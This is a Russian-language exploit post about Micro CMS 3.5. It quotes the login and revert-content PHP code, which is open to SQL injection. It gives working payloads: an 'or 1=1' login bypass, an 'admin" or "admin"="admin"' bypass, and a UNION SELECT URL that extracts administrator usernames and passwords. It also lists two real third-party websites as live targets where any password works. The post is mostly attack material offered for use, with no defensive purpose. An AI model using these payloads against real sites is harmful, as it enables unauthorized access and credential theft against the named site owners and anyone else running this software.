Продукт Micro CMS 3.5
скачать
Micro CMS is the only program available that combines a search-engine-friendly WYSIWYG with a simple, AJAX-based content management system, making the management of your static web site incredibly easy and fast.
SQL inj
/microcms-admin-login.php
PHP код:
...if ($i == 0) {
$sql = '
SELECT *
FROM microcms_administrators
WHERE administrators_username = "' . $_POST['administrators_username'] . '" and
administrators_pass = PASSWORD("' . $_POST['administrators_pass'] . '")';
$user_result = mysql_query($sql);...
Класика жанра!
POST запрос:
action - "microcms-admin-login.php"
текстовое поле - "administrators_username",
поле для ввода пасса - "administrators_pass",
скрытое [ name="action" type="hidden" value="admin_login" ]
Result:
поле administrators_username = admin
поле administrators_pass = 123
") or 1=1 Или в первое поле - странная ошибка!
Мы внутри! ;-)
SQL inj
/micro_cms_files/cms/revert-content.php - 3 поле принтаб
PHP код:
...if ($_GET['type'] == 'newer') {
$result = mysql_query('
SELECT *
FROM microcms_content_blurb_history
WHERE content_blurbs_variable = "' . $_GET['id'] . '" and
content_blurb_history_version_num = "' . $_GET['version'] . '"
ORDER BY content_blurb_history_version_num ASC
LIMIT 1');
} elseif ($_GET['type'] == 'older') {...
Result:
http://microcms/micro_cms_files/cms/revert-content.php?id=test_content
[SQL]&type=newest
ы_ы, нашы админы!
Код HTML:
http://microcms/micro_cms_files/cms/revert-content.php?id=test_content%22+union+select+1,2,group_concat(concat_ws(0x3a,administrators_username,administrators_pass)%20separator%200x40),4,5+from+microcms_administrators--+&type=newest
Забыл :
условия -
mg=off
Реальные примеры:
http://www.zeturija.lt/microcms-admin-home.php
admin" or "admin"="admin" /*
пасс любой
http://www.bistroboheme.se/microcms-admin-home.php
admin" or "admin"="admin" /*
пасс любой